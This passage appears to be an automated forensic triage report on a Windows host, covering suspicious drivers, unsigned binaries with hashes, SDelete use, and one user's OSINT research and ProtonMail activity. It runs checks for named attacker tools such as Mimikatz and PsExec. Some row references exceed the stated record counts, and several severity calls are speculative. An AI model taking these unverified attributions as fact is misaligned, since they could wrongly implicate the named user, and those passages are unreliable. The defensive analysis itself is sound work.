  7. **Medium Priority — Investigate spsql account and mhill insider-threat potential:** Review the spsql account’s purpose, group memberships, and logon history. Interview or audit mhill regarding the OSINT activity, ProtonMail use, and sensitive share access to distinguish compromised account from insider threat. (Resolves user attribution)

Per-Artifact Findings

Run/RunOnce Keys (runkeys) HIGH
Record Count 21
Time Range Start 2018-05-04T18:14:47.318216
Time Range End 2021-02-03T21:51:04.119562

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain admin interactive logon evidence: the domain account administrator.shieldbase has a user profile on this workstation with an HKCU Run persistence entry for OneDrive.
  • Evidence: row_ref 14, ts 2018-05-08T14:06:24.369505+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, name OneDrive, command C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background, username administrator.shieldbase.
  • Why it matters: Interactive domain admin logons cache privileged credentials in LSASS on the workstation; if this host is compromised, attackers likely have direct access to domain admin hashes or tokens, enabling lateral movement and domain-wide privilege escalation.
  • Alternative explanation: A legitimate administrator logged in locally to perform maintenance, though this violates least-privilege workstation access policies.
  • Verify: Correlate with Windows Security Event Log (Event ID 4624/4648) for administrator.shieldbase logon events around 2018-05-08; check LSASS/memory dumps for credential material; audit domain admin logon restrictions.

Data Gaps

  • Extended temporal gap: The most recent registry entry is dated 2021-02-03T21:51:04+00:00, more than five years before the current investigation date (2026-06-13). No Run/RunOnce data exists for the intervening period, preventing assessment of recent persistence activity. This may reflect an old disk image, evidence decay, or potential log/artifact clearing.
  • Execution status unknown: RunOnce entries are designed to self-delete after execution. The preserved RunOnce rows (row_refs 15–19) indicate either the user has not logged on since their creation or the hive was captured before execution; we cannot confirm whether they ran without timeline correlation.
  • Lack of binary integrity data: The dataset provides file paths but no hashes, certificate info, or on-disk metadata. We cannot verify whether referenced executables (e.g., OneDrive.exe, cmd.exe) were tampered with or replaced.
  • Missing provenance: No process creation logs (Sysmon, EDR) or user interaction artifacts (UserAssist, ShimCache) are present to determine whether these registry entries were created by legitimate installers, manual attacker modification, or policy deployment.
  • Service account anomalies not fully assessable: OneDriveSetup entries exist under HKCU for LocalService (row_ref 7) and NetworkService (row_ref 8), which is atypical. Without additional host context (service profile usage, GPO logs), these cannot be conclusively categorized as benign or suspicious.
Scheduled Tasks (tasks) UNSPECIFIED
Record Count 687
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:16:56.217246

No suspicious scheduled tasks were identified in this artifact.

Data Gaps

  • Trigger configuration is absent. The extracted fields do not include trigger details (e.g., at boot, at logon, on idle, or repetition intervals), so high-risk persistence timings cannot be assessed from this artifact alone.
  • No execution telemetry. The last_run_date field is empty for every record, and execution history (run times, exit codes) is not present. It is impossible to determine whether any task has executed recently or repeatedly.
  • Missing creation/modification timestamps. The date field is blank for several tasks (e.g., the custom “Sysmon Update” task, row 42), preventing correlation with a potential incident timeline.
  • No content verification. This artifact lists commands but does not include the content of referenced scripts or binaries. A task referencing a network-hosted batch file cannot be validated as benign or malicious without inspecting the share and file system.
  • Lack of event log correlation. Windows Security Event Log entries (e.g., Event ID 4698 for task creation, 4699 for deletion, 200/201 for execution) are not available here and are required to confirm how and when tasks were registered or invoked.
  • GPO-provenance ambiguity. Group Policy Preference artifacts (rows 1 and 4) show that at least one task is domain-managed, but this artifact alone cannot distinguish legitimate administrative deployment from a compromised GPO or SYSVOL modification.
Services (services) HIGH
Record Count 620
Time Range Start 2018-05-04T18:15:09.052670
Time Range End 2021-09-16T03:01:59.182522

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unattributed kernel driver service mnemosyne installed with minimal metadata and a raw device path.
  • Evidence: row_ref 252, ts=2021-09-16T03:01:59.182522+00:00, name=mnemosyne, displayname=mnemosyne, description=(empty), imagepath=\??\C:\windows\Mnemosyne.sys, type=Kernel Device Driver (0x1), start=Manual (3).
  • Why it matters: A bare kernel driver dropped into C:\windows with no vendor description or signing indicators is a classic rootkit and deep-persistence mechanism, granting unrestricted kernel-level access.
  • Alternative explanation: Could be a component of an obscure legitimate utility or a forensic tool that does not embed publisher metadata, though this is atypical.
  • Verify: Check digital signature and hash of C:\windows\Mnemosyne.sys; query System/Setup EVTX for driver load events (Event ID 6, 7045) around 2021-09-16 03:01 UTC; determine if the driver is loaded in memory.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start service F-Response Subject running as LocalSystem with hardcoded remote connectivity.
  • Evidence: row_ref 121, ts=2021-09-16T03:01:57.760649+00:00, name=F-Response Subject, imagepath=C:\windows\subject_srv.exe, imagepath_args="-s ""172.16.5.25:5682"" -l 3262 -v ""F-Response Subject"" -k ""155522845""", objectname=LocalSystem, start=Auto Start (2).
  • Why it matters: The service provides persistent, privileged remote disk access to an external host (172.16.5.25); if attacker-deployed, it enables full-system compromise, lateral movement, and data exfiltration.
  • Alternative explanation: The binary name, arguments, and service name exactly match the F-Response forensic acquisition agent, which is commonly deployed by incident responders for remote imaging.
  • Verify: Confirm whether 172.16.5.25 is an authorized forensic collector or management host; inspect the binary signature and file creation time of C:\windows\subject_srv.exe; correlate with EVTX Event ID 7045.

Data Gaps

  • Service installation history is missing: This artifact provides a point-in-time registry snapshot (last-write timestamps) but cannot show the original creation date or user context of service installations; EVTX Event ID 7045 and Security logs are required to confirm who installed mnemosyne and F-Response Subject.
  • Binary integrity is unknown: There are no file hashes, digital signature statuses, or version info for Mnemosyne.sys, subject_srv.exe, or any other service binaries in this data; a file-system and memory analysis is needed to verify if Mnemosyne.sys is malicious or signed.
  • Driver load state is indeterminate: The mnemosyne service is set to Manual (3); this artifact does not indicate whether the driver was ever loaded, is currently loaded, or was loaded via an alternative trigger (e.g., by a co-installed user-mode service).
  • No evidence of tampering with defensive services: While Windows Defender (WinDefend, row 584) is set to Manual, McAfee endpoint services (McShield, enterceptAgent, etc.) are present and auto-starting, suggesting third-party AV displacement rather than tampering, but the absence of corresponding McAfee logs here prevents confirmation.
  • Snapshot recency: The most recent service timestamps (2021-09-16) immediately precede or coincide with likely image-acquisition activity; without acquisition timeline context, it is impossible to distinguish pre-existing attacker persistence from tooling introduced during response.
Shimcache (shimcache) MEDIUM
Record Count 488
Time Range Start 1601-01-01T00:00:00
Time Range End 2021-01-30T08:29:51.161539

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Unrecognized executable subject_srv.exe observed in the Windows system directory.
  • Evidence: row_ref 434, last_modified 2018-04-10T19:29:48+00:00, path C:\windows\subject_srv.exe.
  • Why it matters: Non-standard binaries placed directly in C:\Windows are frequently used for persistence or as attacker utilities.
  • Alternative explanation: Custom or legacy line-of-business application legitimately installed to the system directory.
  • Verify: Generate a file hash and query threat intelligence; inspect the Service Control Manager and Registry (e.g., Services, Run keys) for persistence pointing to this executable; corroborate with Prefetch, Amcache, and Security/Sysmon EVTX for evidence of execution.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Forensic parsing tool AppCompatCacheParser.exe present directly in C:\WINDOWS.
  • Evidence: row_ref 311, last_modified 2020-01-20T02:06:07.096182+00:00, path C:\WINDOWS\AppCompatCacheParser.exe.
  • Why it matters: Forensic parsers dropped into a system directory may indicate unauthorized data collection or prior incident-response activity that must be reconciled with authorized change records.
  • Alternative explanation: An authorized investigator or administrator manually placed the tool during approved troubleshooting or a previous response engagement.
  • Verify: Validate the file’s digital signature and hash against the known-good release; cross-check with change-management or IR ticketing history; examine adjacent Shimcache/Prefetch/EVTX entries for execution context.

Data Gaps

  • Execution unconfirmed: Shimcache records presence on disk only; it cannot prove that subject_srv.exe, AppCompatCacheParser.exe, or any other entry was actually executed. Corroboration from Prefetch, Amcache, or EVTX is required to confirm runtime activity.
  • Missing/epoch timestamps: 85 entries carry a 1601-01-01T00:00:00+00:00 timestamp (e.g., row_refs 69, 91–92, 168, and numerous Windows Store app records), preventing reliable timeline placement for those items.
  • Limited time coverage: The most recent entry is dated 2021-01-30T08:29:51.161539+00:00 (row_ref 19). Any host activity after this date is not visible in this artifact.
  • No observed attacker tooling: Entries for known abuse utilities such as Mimikatz, PsExec, Procdump, or Cobalt Strike were not observed; however, this artifact alone cannot rule out their use, deletion, or execution from non-scoped paths on this host or others.
  • Missing execution context: The artifact provides no command-line arguments, parent process relationships, or user identity, which limits attribution of binary presence to specific suspicious activity or account.
  • Explicit IOCs absent: The investigation context did not supply specific IOC patterns, so no targeted observables can be reported as observed or absent.
Amcache (amcache) HIGH
Record Count 2858
Time Range Start 2018-05-14T05:28:13.600079
Time Range End 2021-09-15T07:21:27.323282

Merged batch 1

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unsigned executables perfmon-k.exe and perfmon-kconfigure.exe deployed in a non-standard C:\ProgramData\perfmon-k directory with no publisher, product name, or version metadata.
  • Evidence: row_ref 1773, path: c:\programdata\perfmon-k\perfmon-k.exe, publisher: (empty), product_name: (empty), digest sha1: c31bbf518e9d9bc74a6567a2e3f0c37043ad399a; row_ref 1774, path: c:\programdata\perfmon-k\perfmon-kconfigure.exe, publisher: (empty), product_name: (empty), digest sha1: c95f567910b56d5e1f865781582aa6c8ff9f5db9.
  • Why it matters: ProgramData is a common attacker persistence location; the names masquerade as legitimate Windows performance monitoring tools but these are not standard OS binaries, indicating probable custom malware or a backdoor.
  • Alternative explanation: Extremely unlikely, but could be an unmarked internal monitoring agent—though no metadata or install trail supports this.
  • Verify: Check Shimcache/Prefetch for execution timestamps; review running services/scheduled tasks referencing this path; submit hashes to sandbox/AV.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious unsigned executable **k.exe** found in the Edge browser temporary downloads folder for user spsql.
  • Evidence: row_ref 968, path: c:\users\spsql\appdata\local\packages\microsoft.microsoftedge_8wekyb3d8bbwe\tempstate\downloads\k.exe, name: k.exe, publisher: blank, version: blank, product_name: blank, size: 13.4 MB, SHA1: 3bc3eb9c78d0f867f7d138f7958c2b8854a4dc53.
  • Why it matters: A large, generically-named executable with no publisher metadata sitting in a browser’s temp download directory is a common indicator of a downloaded malware payload and poses an immediate risk if executed.
  • Alternative explanation: The user may have manually downloaded and renamed a legitimate application or installer.
  • Verify: Check Prefetch/Shimcache for K.EXE execution evidence; submit SHA1 3bc3eb9c78d0f867f7d138f7958c2b8854a4dc53 to threat intelligence; review Edge download history and network logs for the spsql account.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Anomalous, massively oversized **googleupdatesetup.exe** residing in a non-standard update-disable directory, inconsistent with every other Google Update stub on the host.
  • Evidence: row_ref 774, path: c:\program files (x86)\google\update-disable\1.3.26.9\googleupdatesetup.exe, name: googleupdatesetup.exe, publisher: google inc., version: 1.3.26.9, product_name: google update, size: 42.4 MB, SHA1: 351ead095f226af542a43b527aa048211b4db082. All other googleupdatesetup.exe binaries on this system are 1.1–1.4 MB (e.g., rows 756, 762, 767, 782, 1.08–1.40 MB); this binary is roughly 30–40× larger and sits alongside much smaller version-matched peers.
  • Why it matters: The size, location, and deviation from known-good peers strongly suggest a masqueraded or implanted payload.
  • Alternative explanation: An administrator may have placed a full offline Chrome installer into the disabled-update folder, though the filename and location are atypical for a legitimate offline installer.
  • Verify: Cross-reference SHA1 351ead095f226af542a43b527aa048211b4db082 with threat intelligence; inspect the file’s resource table and version info on disk; check Scheduled Tasks and services for execution/persistence mechanisms referencing this path.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Unattributed setup.exe dropped by a RAR self-extractor in the spsql user temp folder.
  • Evidence: row_ref 1966, path: c:\users\spsql\appdata\local\temp\rarsfx0\setup.exe, name: setup.exe, publisher: (empty), product_name: (empty), version: (empty), digest sha1: 40b638c05767cc5ad9802701953efeb5315bc80f.
  • Why it matters: SFX archives dropping unsigned setup binaries into temp directories are a common malware delivery vector; presence under an account named spsql raises concern for privilege abuse or lateral movement.
  • Alternative explanation: Could be a benign administrative utility packaged in an SFX, but the complete absence of publisher metadata makes this unlikely.
  • Verify: Correlate with Prefetch/Shimcache to confirm execution; inspect spsql logon events and recent user activity.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] OneDrive binaries present under domain administrator and service account profiles (administrator.shieldbase and spsql).
  • Evidence: row_ref 584, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\filecoauth.exe; row_ref 604, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\filesyncconfig.exe; row_ref 1635, path: c:\users\spsql\appdata\local\microsoft\onedrive\update\onedrivesetup.exe, publisher: microsoft corporation; row_ref 1657, path: c:\users\administrator.shieldbase\appdata\local\microsoft\onedrive\18.065.0329.0002\onedrivesetup.exe, publisher: microsoft corporation.
  • Why it matters: Consumer cloud storage clients under service accounts or domain admin profiles can indicate interactive logon by privileged accounts or potential data staging/exfiltration.
  • Alternative explanation: Could result from profile roaming or incidental interactive logon by administrators.
  • Verify: Review Windows Security Event Log for interactive/logon events (4624/4648) for both accounts; inspect NTUSER.DAT/UsrClass.dat and OneDrive synced directories.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Legacy Microsoft Equation Editor (eqnedt32.exe) identified, a component with multiple unpatched critical vulnerabilities.
  • Evidence: row_ref 539, path: c:\program files (x86)\common files\microsoft shared\equation\eqnedt32.exe, version: 00110900, publisher: design science, inc., sha1: 601f4e8cd6b1c5fcd8f0be4acf01a08261a07b94.
  • Why it matters: This version corresponds to the legacy Equation Editor commonly exploited via Office documents (CVE-2017-11882, CVE-2018-0802) and may represent an attack vector or prior compromise if correlated with suspicious document activity.
  • Alternative explanation: Leftover component from a legacy Microsoft Office installation.
  • Verify: Cross-reference with Shimcache/Prefetch for recent execution timestamps, and inspect for suspicious child processes or associated Office document open events.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap network packet capture driver and remote capture daemon installed.
  • Evidence: row_ref 1484, path: c:\windows\system32\drivers\npf.sys, publisher: riverbed technology, inc., product_name: winpcap; row_ref 1847, path: c:\program files\winpcap\rpcapd.exe, publisher: riverbed technology, inc., product_name: winpcap; row_ref 2091, path: c:\program files\winpcap\uninstall.exe, product_name: winpcap.
  • Why it matters: rpcapd.exe enables remote packet sniffing and could facilitate credential harvesting or network reconnaissance if deployed by an attacker.
  • Alternative explanation: May be installed for legitimate network diagnostics or Wireshark usage.
  • Verify: Validate whether WinPcap is authorized on this workstation; check Prefetch/Shimcache for rpcapd.exe execution; inspect network adapter bindings.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Metadata-deficient zip.exe located in the VMware Tools directory.
  • Evidence: row_ref 2282, path: c:\program files\vmware\vmware tools\zip.exe, name: zip.exe, publisher: empty, version: empty, product_name: empty, SHA-1: 97105f448e084dedf4ef01410902b668d3959d9c, size: 0.14 MB, is_pefile: 1.
  • Why it matters: Executables lacking publisher metadata in existing application directories may indicate attacker-dropped utilities used for staging, archiving, or tool transfer.
  • Alternative explanation: A legitimate third-party compression utility placed by an administrator or bundled with a specific VMware Tools deployment.
  • Verify: Query the SHA-1 against threat intelligence; correlate with Shimcache and Prefetch to confirm execution; inspect the file on disk for compile time and any embedded digital signature.

IOC Status

  • No explicit IOCs were provided in the investigation context → Not Assessable.

Data Gaps

  • Partial dataset: Only a subset of the total 2,858 Amcache records was provided across all chunks; the remaining ~2,100+ records were not assessable. This includes **34 occurrences of mavinject32.exe** noted in summary statistics, which could not be reviewed for potential DLL-injection or defense-evasion activity.
  • Missing temporal data: The install_date field is empty for the vast majority of supplied rows (including all key findings above), preventing precise timeline correlation to a potential incident window.
  • Execution unconfirmed: Amcache inventories file presence but does not prove execution. Correlation with Shimcache, Prefetch, Sysmon, and Windows Event Logs is required to verify whether any of the observed binaries were actually launched.
  • Threat intelligence unavailable: SHA-1 hashes are present for multiple suspicious binaries, but this artifact does not include threat intelligence results; external lookups are needed.
  • Sparse driver records: Driver entries (e.g., rows 2395–2747) lack path, publisher, and digest values in the provided extract, limiting anomaly detection for malicious or vulnerable drivers.
  • No direct credential-access or lateral-movement tooling observed in excerpt: No evidence of Mimikatz, PsExec, Cobalt Strike, or similar utilities appears in the visible rows; however, absence in this partial dataset does not rule out their presence in unseen records or in other artifacts (e.g., $MFT, USN Journal, Event Logs).
  • Metadata gaps in standard paths: Several binaries in otherwise legitimate directories lack publisher/product metadata, making tampering indistinguishable from benign metadata absence without on-disk signature validation.
BAM/DAM (bam) UNSPECIFIED
Record Count 21
Time Range Start 2018-05-04T18:37:57.293501
Time Range End 2021-02-03T21:51:04.150814

No suspicious execution was detected in the available BAM/DAM data; all entries are legitimate Microsoft and Windows Store applications with no evidence of credential-access tools, lateral-movement utilities, or other attacker-related binaries.

Data Gaps

  • Absence of suspicious executables and limited retention. All 21 retained rows (e.g., row_ref 1, 5, 6, 28) reference benign system and Store apps such as Microsoft.Windows.Cortana_cw5n1h2txyewy, Microsoft.WindowsStore_8wekyb3d8bbwe, and Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe. No Mimikatz-like, PsExec, or other attacker tooling is present. Because BAM retains only recent entries and older records are overwritten, this absence does not rule out prior malicious execution.
  • Missing user SID attribution. The provided CSV columns (row_ref, ts, path, _dedup_comment) do not include the user SID field that BAM/DAM normally maps to, so these executions cannot be attributed to specific user accounts. This prevents identification of unauthorized or lateral-movement-related user context.
  • Stale timeline. The most recent entry is 2021-02-03T21:51:04.150814+00:00 (row_ref 28, Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe), over five years prior to the current analysis date. If the suspected compromise occurred after February 2021, this artifact provides no visibility into that window. The sparse record distribution across 2018–2021 also limits behavioral granularity.
  • Insufficient for DFIR checks alone. This artifact cannot establish privilege escalation, persistence mechanisms, defense evasion, or exfiltration. Correlation with Prefetch, Amcache, SRUM, Windows Security Event ID 4688, Sysmon, and Registry-based execution evidence (e.g., UserAssist, Run keys) is required to build a complete execution timeline and identify suspicious user-attributed activity.
UserAssist (userassist) MEDIUM
Record Count 130
Time Range Start 1601-01-01T00:00:00
Time Range End 2020-09-20T23:56:16.173000

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Secure deletion tool SDelete was executed from an internal network path by a domain administrator account.
  • Evidence: ts=1601-01-01T00:00:00+00:00, path=\base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe, username=administrator.shieldbase, focus duration=2578, row_ref=126.
  • Why it matters: SDelete is commonly used for anti-forensics to irrecoverably wipe files; execution from a share by a privileged account is highly anomalous and suggests deliberate evidence destruction.
  • Alternative explanation: A systems administrator may have legitimately used Sysinternals tools for disk cleanup or policy-compliant file removal.
  • Verify: Cross-reference Security Event ID 4688 / Sysmon logs for sdelete.exe command-line arguments, and inspect the \base-file share access logs and the host’s MFT/usnjrnl for recently wiped files.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A standard user launched system persistence utilities (schtasks.exe and sc.exe) via the Explorer shell.
  • Evidence:
  • ts=1601-01-01T00:00:00+00:00, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\schtasks.exe, username=mhill, focus duration=141, row_ref=37.
  • ts=1601-01-01T00:00:00+00:00, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\sc.exe, username=mhill, focus duration=31, row_ref=41.
  • ts=1601-01-01T00:00:00+00:00, path={D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\sc.exe, username=mhill, focus duration=31, row_ref=42.
  • Why it matters: Scheduled tasks and service control are primary persistence mechanisms; interactive execution of these CLI tools by a non-admin user via Explorer is uncommon and may indicate hands-on attacker activity.
  • Alternative explanation: A power user or developer may have manually run these tools for local testing or automation setup.
  • Verify: Review active scheduled tasks (schtasks /query /fo LIST /v) and Windows service lists for anomalies, and correlate with Event ID 4688 process-creation logs to recover command-line arguments.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Heavily used opaque executable with no identifiable publisher, extension, or path was the most recent GUI-launched program for this user.
  • Evidence: ts=2020-09-20T23:56:16.173000, path=E7CF176E110C211B, username=mhill, number_of_executions=24, application_focus_count=104, application_focus_duration=14119191, row_ref=43.
  • Why it matters: Malware frequently uses randomized or meaningless filenames to blend in; sustained execution (~3.9 hours of focus time) indicates it was a primary interactive application.
  • Alternative explanation: This may be a legitimate custom or legacy internal application referenced only by a hash or GUID-like name.
  • Verify: Locate the binary on disk under user-writable paths (AppData, Temp, etc.), calculate its hash, check the digital signature, and review AppCompatCache/AmCache for the full installation path.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Domain admin account executed a command prompt from Explorer with sustained interaction.
  • Evidence: ts=2018-05-14T04:00:38.445999, path={1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, username=administrator.shieldbase, number_of_executions=4, application_focus_count=19, application_focus_duration=1494066, row_ref=114.
  • Why it matters: Interactive use of a domain administrator account on a workstation increases exposure to credential theft and may indicate lateral-movement staging or on-box administration by an attacker.
  • Alternative explanation: The account may have been used by IT staff for legitimate software installation or workstation troubleshooting.
  • Verify: Check Windows Security logs for interactive (Logon Type 2) or RDP (Logon Type 10) logons of administrator.shieldbase around 2018-05-14T04:00:38Z, and hunt for associated network connections or remote commands.

Data Gaps

  • No command-line or parent-process visibility: UserAssist records only that a program was launched from Explorer, not what arguments were passed to sdelete.exe, schtasks.exe, sc.exe, or cmd.exe. Process-creation Event IDs (4688) or Sysmon are required to determine intent.
  • Extensive null timestamps hindering timeline analysis: 37 records (including the sdelete.exe, schtasks.exe, and both sc.exe entries) carry the null Windows timestamp 1601-01-01T00:00:00+00:00, preventing precise temporal correlation with other artifacts.
  • ~6-year activity gap to present: The latest UserAssist entry is dated 2020-09-20T23:56:16.173000. Either the system has had no interactive use since then, the artifact was cleared, or the image is stale; without acquisition metadata, this gap cannot be distinguished from anti-forensics.
  • Limited execution scope: UserAssist does not capture command-line, service, or scheduled-task execution. Attackers operating entirely via PowerShell, WMI, or remote services will be invisible in this artifact.
  • Only three user profiles represented: Activity is limited to mhill, administrator.shieldbase, and Administrator. If the attacker operated under a different account, used temporary profiles, or cleaned registry hives, those actions are absent here.
Recycle Bin (recyclebin) UNSPECIFIED
Record Count 19
Time Range Start 2018-07-09T23:44:11.614000
Time Range End 2018-08-17T23:20:48.101999

Nothing suspicious detected in the Recycle Bin artifact; all 19 deleted items are user documents (images, PDFs, and a PowerPoint) belonging to account mhill, with no evidence of deleted executables, scripts, credential material, log files, or attacker tooling.

Data Gaps

  • No malicious content observed. The artifact contains no deleted files matching high-fidelity indicators of compromise (e.g., .exe, .dll, .ps1, .zip, credential dumps, or event log files). A file named TargetList (0 bytes) was deleted (row_ref: 2, ts: 2018-07-31T03:15:30.203999+00:00), but it resides alongside pop-culture-themed GIFs in a VideoSurveillance\Research path, making its intent unassessable without content inspection.
  • Actor attribution impossible. All deletions are attributed to user mhill, but this artifact cannot distinguish between an interactive user, a compromised account, or an attacker impersonating the profile. Correlating Security Event Log logon events (Event IDs 4624/4625/4648), Sysmon process creation, and UserAssist/ShellBag activity is required.
  • Bulk-deletion mechanism unknown. Tight temporal clusters exist (e.g., three deletions at exactly 2018-08-02T21:29:46 within 31 milliseconds; row_ref: 1, 3, 7), but this artifact cannot reveal whether the action was a manual multi-select in Explorer, a command-line removal (del, rmdir), or a malicious wipe utility. USN Journal or $LogFile review would clarify the deletion mechanism.
  • File contents unavailable. The original contents of CONFIDENTIAL - Project Mayhem.pptx (row_ref: 4) and Determination of Carbon-14 In Activated Metal Wastes.pdf (row_ref: 9) cannot be assessed from metadata alone; recovery and review of the $R-prefixed Recycle Bin files would be needed to determine sensitivity or exfiltration value.
  • Missing defensive telemetry. No Windows Defender detections, AMSI events, or EDR alerts are present in this artifact to correlate deletion timestamps with potential preceding malicious execution.
Browser History (browser.history) HIGH
Record Count 2406
Time Range Start 2018-05-09T02:55:11.195326
Time Range End 2021-02-01T17:54:59.383000

Merged batch 1

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Repeated execution of heavily obfuscated JavaScript payloads consistent with malicious browser exploitation or trojan webinjections.
  • Evidence: Row 1212 (2018-07-04T17:51:30.062668+00:00), row 1238 (2018-07-04T17:58:47.995382+00:00), row 1243 (2018-07-04T18:28:08.079330+00:00), row 1271 (2018-08-01T21:02:18.402428+00:00), row 1331 (2018-08-01T17:04:59.640631+00:00), row 1372 (2018-05-25T17:54:01.071512+00:00), and row 1397 (2018-07-04T17:52:56.514606+00:00). Each entry is a javascript: URL containing randomized function names, Object.getOwnPropertyNames, and apply.bind wrapping of native methods.
  • Why it matters: This structural pattern is characteristic of browser exploit kit payloads, banking trojan webinjects, or framework hooks (e.g., BEEF) that hijack native execution to evade detection and maintain persistence.
  • Alternative explanation: Aggressively obfuscated third-party advertising or tracking scripts; however, the structural consistency across multiple unique function names and dates strongly suggests malicious tooling rather than benign ads.
  • Verify: Inspect browser cache/Temporary Internet Files for these timestamps, fully deobfuscate the scripts, and correlate network logs for suspicious outbound callbacks from the browser process during these sessions.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sustained reconnaissance-oriented browsing including OSINT tools, repositories, and training resources.
  • Evidence: Row 1218 (2018-07-05T17:33:09.551584+00:00, https://www.timothydeblock.com/blog/2018/3/28/sans-sec487-open-source-intelligence-gathering-and-analysis), row 1395 (2018-07-05T17:33:10.692301+00:00, https://webbreacher.com/2018/06/24/introducing-osint-yoga/), row 1396 (2018-07-05T17:32:43.751675+00:00, https://webbreacher.com/), row 1782 (2018-07-05T17:34:01.103140+00:00, https://webbreacher.com/), row 1787 (2018-07-05T17:37:41.004871+00:00, http://spiderfoot.net/), row 1788 (2018-07-05T17:37:47.900543+00:00, http://hunch.ly/), row 2026 (2018-07-19T00:45:10.232775+00:00, https://github.com/jivoi/awesome-osint), row 2231 (2018-08-01T22:49:23.165640+00:00, https://www.sans.org/course/open-source-intelligence-gathering), and row 2350 (2018-08-08T14:19:45.397367+00:00, http://spiderfoot.net/documentation/); aggregate statistics also indicate three referrer visits to spiderfoot.net.
  • Why it matters: A sustained pattern of researching and accessing open-source intelligence platforms may reflect pre-intrusion reconnaissance, unauthorized target research, or an actor building a toolkit.
  • Alternative explanation: The user’s role (themed environment suggests an intelligence/analyst function) may legitimately require OSINT resources.
  • Verify: Cross-check the user’s authorized job scope and correlate these visit windows with any corresponding process execution or tool installation artifacts.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Use of encrypted third-party email service (ProtonMail) outside corporate mail channels with a secondary identity.
  • Evidence: Row 1530 (2018-08-17T23:02:18.111000+00:00, https://protonmail.com/), row 1531 (2018-08-17T23:02:22.034000+00:00, https://mail.protonmail.com/login), row 1533 (2018-08-17T23:02:51.942000+00:00, title: Inbox | mhill2@protonmail.com | ProtonMail), row 1555 (2018-08-21T06:24:27.837000+00:00, Login - ProtonMail), row 1557 (2018-08-27T23:30:55.992000+00:00, https://mail.protonmail.com/login/unlock), row 1559 (2018-08-27T23:31:04.375000+00:00, https://mail.protonmail.com/sent, title: Sent | mhill2@protonmail.com | ProtonMail), and row 1560 (2018-08-27T23:31:48.412000+00:00, https://mail.protonmail.com/inbox); aggregate statistics indicate 16 total visits to mail.protonmail.com.
  • Why it matters: Encrypted email can be used for covert C2 coordination or small-scale exfiltration that evades corporate mail inspection.
  • Alternative explanation: Personal privacy preference or secondary account for non-work communication.
  • Verify: Inspect network logs for ProtonMail attachment uploads/downloads and correlate with any anomalous data-transfer volumes; cross-reference with proxy/DLP logs for uploads or attachments sent to ProtonMail.
  • **[SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User mhill performed a Google search for résumés related to “material science espionage” and downloaded multiple academic and military curriculum vitae.**
  • Evidence: Search at 2018-08-28T21:20:39.480692 (row 2808: query resume cv filetype:pdf material science espionage); followed by CV downloads at 2018-08-28T21:21:17.928408 (row 2809: https://www.usna.edu/CyberDept/People/CVs/Hatfield.pdf), 2018-08-28T21:21:21.789850 (row 2810: patrickhunt.us/PHunt_CV_2018.pdf), 2018-08-28T21:21:26.567766 (row 2811: Arizona State University CV), 2018-08-28T21:21:30.657612 (row 2812: University of Idaho CV), 2018-08-28T21:21:33.380308 (row 2813: Texas Tech CV), and 2018-08-29T17:08:21.597307 (row 2825: Brown University CV). A related search for resume cv filetype:pdf material science carbon also appears at row 2814 (2018-08-28T21:21:35.814367).
  • Why it matters: The query syntax and subsequent downloads may indicate targeting or reconnaissance against personnel with materials science and cyber backgrounds, which could support social engineering, insider threat, or espionage objectives.
  • Alternative explanation: The user may have been conducting competitive intelligence, academic research, or themed project work within the research lab environment.
  • Verify: Inspect the local Downloads folder for these PDFs; interview user mhill regarding business need; cross-check whether the targeted individuals or institutions have any relationship with the organization.
  • **[SEVERITY: LOW] [CONFIDENCE: MEDIUM] Browser history attributed to the built-in Administrator account.**
  • Evidence: Summary statistics show 8x Administrator username; specific rows, URLs, and timestamps are not present in the provided CSV extract.
  • Why it matters: Browser activity under the Administrator account on a workstation is atypical for standard users and may indicate privileged access by an attacker or lateral movement via administrative credentials.
  • Alternative explanation: Legitimate IT administrative activity.
  • Verify: Retrieve the exact browser history records for the Administrator profile and correlate with Security Event Log interactive logon events (Event ID 4624).
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Visits to Russian social media and facial recognition services.
  • Evidence: Row 2027 (2018-07-19T00:46:44.359467+00:00, http://vk.com/app3046467); row 2029 (2018-07-19T00:46:50.091967+00:00, http://findface.ru/).
  • Why it matters: Foreign platform usage may indicate external contact, data enrichment on targets, or geographic targeting anomalies.
  • Alternative explanation: Personal browsing or research into foreign social networks.
  • Verify: Check for saved credentials, session cookies, or follow-on network connections to these domains.

Data Gaps

